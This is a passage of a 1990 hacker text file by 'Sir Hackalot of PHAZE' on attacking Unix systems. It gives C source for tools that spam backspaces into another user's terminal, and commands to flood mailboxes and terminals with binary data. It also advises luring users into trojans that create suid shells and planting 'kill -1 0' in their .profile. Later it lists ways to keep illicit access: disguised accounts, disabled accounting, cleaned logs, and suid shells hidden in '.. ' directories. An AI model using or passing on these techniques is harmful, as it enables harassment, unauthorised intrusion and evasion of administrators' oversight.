|
|
main(argc, argv)
|
|
int argc;
|
|
char *argv[];
|
|
{
|
|
register FILE *uf;
|
|
char c1, lastc;
|
|
int goodtty = 0;
|
|
long clock = time((long *) 0);
|
|
struct tm *localtime();
|
|
struct tm *localclock = localtime( &clock );
|
|
struct stat stbuf;
|
|
char psbuf[20], buf[80], window[20], junk[20];
|
|
FILE *pfp, *popen();
|
|
|
|
if (argc < 2) {
|
|
printf("usage: hose user [ttyname]\n");
|
|
exit(1);
|
|
}
|
|
him = argv[1];
|
|
|
|
if (argc > 2)
|
|
histtya = argv[2];
|
|
if ((uf = fopen("/etc/utmp", "r")) == NULL) {
|
|
printf("cannot open /etc/utmp\n");
|
|
exit(1);
|
|
}
|
|
cuserid(me);
|
|
if (me == NULL) {
|
|
printf("Can't find your login name\n");
|
|
exit(1);
|
|
}
|
|
mytty = ttyname(2);
|
|
if (mytty == NULL) {
|
|
printf("Can't find your tty\n");
|
|
exit(1);
|
|
}
|
|
if (stat(mytty, &stbuf) < 0) {
|
|
printf("Can't stat your tty -- This System is bogus.\n");
|
|
}
|
|
if ((stbuf.st_mode&02) == 0) {
|
|
printf("You have write permissions turned off (hehe!).\n");
|
|
}
|
|
|
|
if (histtya) {
|
|
if (!strncmp(histtya, "/dev/", 5))
|
|
histtya = strrchr(histtya, '/') + 1;
|
|
strcpy(histty, "/dev/");
|
|
strcat(histty, histtya);
|
|
}
|
|
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
|
|
if (ubuf.ut_name[0] == '\0')
|
|
continue;
|
|
if (!strncmp(ubuf.ut_name, him, NMAX)) {
|
|
logcnt++;
|
|
if (histty[0]==0) {
|
|
strcpy(histty, "/dev/");
|
|
strcat(histty, ubuf.ut_line);
|
|
}
|
|
if (histtya) {
|
|
if (!strcmp(ubuf.ut_line, histtya))
|
|
goodtty++;
|
|
}
|
|
}
|
|
}
|
|
fclose(uf);
|
|
if (logcnt==0) {
|
|
printf("%s not found! (Not logged in?)\n", him);
|
|
exit(1);
|
|
}
|
|
|
|
if (histtya==0 && logcnt > 1) {
|
|
printf("%s logged more than once\nwriting to %s\n", him, histty+5);
|
|
}
|
|
if (access(histty, 0) < 0) {
|
|
printf("No such tty? [%s]\n",histty);
|
|
exit(1);
|
|
}
|
|
signal(SIGALRM, timout);
|
|
alarm(5);
|
|
if ((tf = fopen(histty, "w")) == NULL)
|
|
goto perm;
|
|
alarm(0);
|
|
if (fstat(fileno(tf), &stbuf) < 0)
|
|
goto perm;
|
|
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
|
|
goto perm;
|
|
ioctl(0, TCGETA, &oldmode); /* save tty state */
|
|
ioctl(0, TCGETA, &mode);
|
|
sigs(eof);
|
|
uname(&name);
|
|
if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
|
|
if (yn == 1 ) {
|
|
fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
|
|
fclose(tf);
|
|
printf("Critical Error Handler: %s running conflicting process\n",him);
|
|
exit(1);
|
|
}
|
|
fflush(tf);
|
|
mode.c_cc[4] = 1;
|
|
mode.c_cc[5] = 0;
|
|
mode.c_lflag &= ~ICANON;
|
|
ioctl(0, TCSETAW, &mode);
|
|
lastc = '\n';
|
|
|
|
|
|
printf("Backspace / Spin Cursor set lose on: %s\n",him);
|
|
while (loop == 0) {
|
|
c1 = '\b';
|
|
write(fileno(tf),&c1,1);
|
|
sleep(5);
|
|
fprintf(tf,"\\\b|\b/\b-\b+\b");
|
|
fflush(tf);
|
|
}
|
|
|
|
|
|
|
|
|
|
perm:
|
|
printf("Write Permissions denied!\n");
|
|
exit(1);
|
|
}
|
|
|
|
timout()
|
|
{
|
|
|
|
printf("Timeout opening their tty\n");
|
|
exit(1);
|
|
}
|
|
|
|
eof()
|
|
{
|
|
printf("Bye..\n");
|
|
ioctl(0, TCSETAW, &oldmode);
|
|
exit(0);
|
|
}
|
|
|
|
ex()
|
|
{
|
|
register i;
|
|
sigs(SIG_IGN);
|
|
i = fork();
|
|
if (i < 0) {
|
|
printf("Try again\n");
|
|
goto out;
|
|
}
|
|
if (i == 0) {
|
|
sigs((int (*)())0);
|
|
execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
|
|
exit(0);
|
|
}
|
|
while(wait((int *)NULL) != i)
|
|
;
|
|
printf("!\n");
|
|
out:
|
|
sigs(eof);
|
|
}
|
|
|
|
sigs(sig)
|
|
int (*sig)();
|
|
{
|
|
register i;
|
|
for (i=0; signum[i]; i++)
|
|
signal(signum[i], sig);
|
|
}
|
|
|
|
|
|
|
|
What the above is, is a modified version of the standard write command.
|
|
What it does, is spin the cursor once, then backspace once over the
|
|
screen of the user it is run on. All though, it does not physically affect
|
|
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
|
|
can be changed to make the stuff happen more often, or less often.
|
|
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
|
|
from getting hit by it, if someone off a Public access unix leeches the
|
|
executable from your directory.
|
|
You could make a shorter program that does almost the same thing, but
|
|
you have to supply the terminal, observe:
|
|
|
|
/* Backspace virus, by Sir Hackalot [Phaze] */
|
|
#include <stdio.h>
|
|
#include <fcntl.h>
|
|
main(argc,argv)
|
|
char *argv[];
|
|
int argc;
|
|
{
|
|
int x = 1;
|
|
char *device = "/dev/";
|
|
FILE *histty;
|
|
if (argc == 1) {
|
|
printf("Bafoon. Supply a TTY.\n");
|
|
exit(1);
|
|
}
|
|
strcat(device,argv[1]);
|
|
/* Make the filename /dev/tty.. */
|
|
histty = fopen(device,"a");
|
|
if (histty == NULL) {
|
|
printf("Error opening/writing to tty. Check their perms.\n");
|
|
exit(1);
|
|
}
|
|
printf("BSV - Backspace virus, By Sir Hackalot.\n");
|
|
printf("The Sucker on %s is getting it!\n",device);
|
|
while (x == 1) {
|
|
fprintf(histty,"\b\b");
|
|
fflush(histty);
|
|
sleep(5);
|
|
}
|
|
}
|
|
|
|
Thats all there is to it. If you can write to their tty, you can use this on
|
|
them. It sends two backspaces to them every approx. 5 seconds. You
|
|
should run this program in the background. (&). Here is an example:
|
|
|
|
$ who
|
|
sirhack tty11
|
|
loozer tty12
|
|
$ bsv tty12&
|
|
[1] 4566
|
|
BSV - Backspace virus, by Sir Hackalot
|
|
The Sucker on /dev/tty12 is getting it!
|
|
$
|
|
|
|
Now, it will keep "attacking" him, until he loggs of, or you kill the process
|
|
(which was 4566 -- when you use &, it gives the pid [usually]).
|
|
|
|
** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
|
|
method to terminate a line. However, the LF terminates a line in Unix.
|
|
you must STRIP CR's on an ascii upload if you want something you upload
|
|
to an editor to work right. Else, you'll see a ^M at the end of every
|
|
line. I know that sucks, but you just have to compensate for it.
|
|
|
|
I have a number of other programs that annoy users, but that is enough to
|
|
get your imagination going, provided you are a C programmer. You can annoy
|
|
users other ways. One thing you can do is screw up the user's mailbox.
|
|
The way to do this is to find a binary file (30k or bigger) on the system
|
|
which YOU have access to read. then, do this:
|
|
|
|
$ cat binary_file | mail loozer
|
|
|
|
or
|
|
|
|
$ mail loozer < binary file
|
|
|
|
That usually will spilt into 2 messages or more. The 1st message will
|
|
have a from line.. (from you ..), but the second WILL NOT! Since it does
|
|
not, the mail reader will keep exiting and giving him an error message until
|
|
it gets fixed.. The way to fix it is to go to the mail box that got hit
|
|
with this trick (usually only the one who got hit (or root) and do this),
|
|
and edit the file, and add a from line.. like
|
|
From username..
|
|
|
|
then it will be ok. You can screw the user by "cat"ing a binary to his tty.
|
|
say Loozer is on tty12. You can say..
|
|
$ cat binary_file >/dev/tty12
|
|
$
|
|
It may pause for a while while it outputs it. If you want to resume what
|
|
you were doing instantly, do:
|
|
$ cat binary_file >/dev/tty12&
|
|
[1] 4690
|
|
$
|
|
And he will probably logoff. You can send the output of anything to his
|
|
terminal. Even what YOU do in shell. Like this:
|
|
$ sh >/dev/tty12
|
|
$
|
|
You'll get your prompts, but you won't see the output of any commands, he
|
|
will...
|
|
$ ls
|
|
$ banner Idiot!
|
|
$ echo Dumbass!
|
|
$
|
|
until you type in exit, or hit ctrl-d.
|
|
|
|
|
|
There are many many things you can do. You can fake a "write" to someone
|
|
and make them think it was from somewhere on the other side of hell. Be
|
|
creative.
|
|
|
|
When you are looking for things to do, look for holes, or try to get
|
|
someone to run a trojan horse that makes a suid shell. If you get
|
|
someone to run a trojan that does that, you can run the suid, and log their
|
|
ass off by killing their mother PID. (kill -9 whatever). Or, you can
|
|
lock them out by adding "kill -1 0" to their .profile. On the subject of
|
|
holes, always look for BAD suid bits. On one system thought to be invincible
|
|
I was able to read/modify everyone's mail, because I used a mailer that had
|
|
both the GroupID set, and the UserID set. When I went to shell from it,
|
|
the program instantly changed my Effective ID back to me, so I would not be
|
|
able to do anything but my regular stuff. But it was not designed to change
|
|
the GROUP ID back. The sysop had blundered there. SO when I did an ID
|
|
I found my group to be "Mail". Mailfiles are readble/writeable by the
|
|
user "mail", and the group "mail". I then set up a sgid (set group id) shell
|
|
to change my group id to "mail" when I ran it, and scanned important mail,
|
|
and it got me some good info. So, be on the look out for poor permissions.
|
|
|
|
Also, after you gain access, you may want to keep it. Some tips on doing so
|
|
is:
|
|
1. Don't give it out. If the sysadm sees that joeuser logged in 500
|
|
times in one night....then....
|
|
2. Don't stay on for hours at a time. They can trace you then. Also
|
|
they will know it is irregular to have joeuser on for 4 hours
|
|
after work.
|
|
3. Don't trash the system. Don't erase important files, and don't
|
|
hog inodes, or anything like that. Use the machine for a specific
|
|
purpose (to leech source code, develop programs, an Email site).
|
|
Dont be an asshole, and don't try to erase everything you can.
|
|
4. Don't screw with users constantly. Watch their processes and
|
|
run what they run. It may get you good info (snoop!)
|
|
5. If you add an account, first look at the accounts already in there
|
|
If you see a bunch of accounts that are just 3 letter abbrv.'s,
|
|
then make yours so. If a bunch are "cln, dok, wed" or something,
|
|
don't add one that is "joeuser", add one that is someone's
|
|
full initials.
|
|
|
|
6. When you add an account, put a woman's name in for the
|
|
description, if it fits (Meaning, if only companies log on to the
|
|
unix, put a company name there). People do not suspect hackers
|
|
to use women's names. They look for men's names.
|
|
7. Don't cost the Unix machine too much money. Ie.. don't abuse an
|
|
outdial, or if it controls trunks, do not set up a bunch of dial
|
|
outs. If there is a pad, don't use it unless you NEED it.
|
|
8. Don't use x.25 pads. Their usage is heavily logged.
|
|
9. Turn off acct logging (acct off) if you have the access to.
|
|
Turn it on when you are done.
|
|
10. Remove any trojan horses you set up to give you access when you
|
|
get access.
|
|
11. Do NOT change the MOTD file to say "I hacked this system" Just
|
|
thought I'd tell you. Many MANY people do that, and lose access
|
|
within 2 hours, if the unix is worth a spit.
|
|
12. Use good judgement. Cover your tracks. If you use su, clean
|
|
up the sulog.
|
|
13. If you use cu, clean up the cu_log.
|
|
14. If you use the smtp bug (wizard/debug), set up a uid shell.
|
|
15. Hide all suid shells. Here's how:
|
|
goto /usr
|
|
(or any dir)
|
|
do:
|
|
# mkdir ".. "
|
|
# cd ".. "
|
|
# cp /bin/sh ".whatever"
|
|
# chmod a+s ".whatever"
|
|
The "" are NEEDED to get to the directory .. ! It will not show
|
|
up in a listing, and it is hard as hell to get to by sysadms if
|
|
you make 4 or 5 spaces in there (".. "), because all they will
|
|
see in a directory FULL list will be .. and they won't be able to
|
|
get there unless they use "" and know the spacing. "" is used
|
|
when you want to do literals, or use a wildcard as part of a file
|
|
name.
|
|
16. Don't hog cpu time with password hackers. They really don't work
|
|
well.
|
|
|
|
17. Don't use too much disk space. If you archieve something to dl,
|
|
dl it, then kill the archieve.
|
|
18. Basically -- COVER YOUR TRACKS.
|
|
|
|
Some final notes:
|
|
|
|
Now, I hear lots of rumors and stories like "It is getting harder to get
|
|
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
|
|
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
|
|
but not with local computers not on those networks. Here's the story:
|
|
|
|
Over the past few years, many small companies have sprung up as VARs
|
|
(Value Added Resellers) for Unix and Hardware, in order to make a fast
|
|
buck. Now, these companies fast talk companies into buying whatever,
|
|
and they proceed in setting up the Unix. Now, since they get paid by
|
|
the hour usaually when setting one up, they spread it out over days....
|
|
during these days, the system is WIDE open (if it has a dialin). Get
|
|
in and add yourself to passwd before the seal it off (if they do..).
|
|
Then again, after the machine is set up, they leave the defaults on the
|
|
system. Why? The company needs to get in, and most VARs cannot use
|
|
unix worth a shit, all they know how to do is set it up, and that is ALL.
|
|
Then, they turn over the system to a company or business that USUALLY
|
|
has no-one that knows what they hell they are doing with the thing, except
|
|
with menus. So, they leave the system open to all...(inadvertedly..),
|
|
because they are not competant. So, you could usually get on, and create
|
|
havoc, and at first they will think it is a bug.. I have seen this
|
|
happen ALL to many times, and it is always the same story...
|
|
The VAR is out for a fast buck, so they set up the software (all they know
|
|
how to do), and install any software packages ordered with it (following
|
|
the step by step instructions). Then they turn it over to the business
|
|
who runs a word processor, or database, or something, un aware that a
|
|
"shell" or command line exists, and they probably don't even know root does.
|
|
So, we will see more and more of these pop up, especially since AT&T is
|
|
now bundling a version of Xwindows with their new System V, and Simultask...
|
|
which will lead to even more holes. You'll find systems local to you
|
|
that are easy as hell to get into, and you'll see what I mean. These
|
|
VARs are really actually working for us. If a security problem arises
|
|
that the business is aware of, they call the VAR to fix it... Of course,
|
|
the Var gets paid by the hour, and leaves something open so you'll get in
|
|
again, and they make more moolahhhh.
|
|
|
|
|
|
You can use this phile for whatever you want. I can't stop you. Just
|
|
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
|
|
Always consider the penalties before you attempt something. Sometimes
|
|
it is not worth it, Sometimes it is.
|
|
|
|
This phile was not meant to be comprehensive, even though it may seem like
|
|
it. I have left out a LOT of techniques, and quirks, specifically to get
|
|
you to learn SOMETHING on your own, and also to retain information so
|
|
I will have some secrets. You may pass this file on, UNMODIFIED, to any
|
|
GOOD H/P BBS. Sysops can add things to the archieve to say where
|
|
it was DL'd from, or to the text viewer for the same purpose. This is
|
|
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
|
|
|
|
-Sir Hackalot of PHAZE
|
|
1990.
|
|
|
|
|
|
Downloaded From P-80 International Information Systems 304-744-2253
|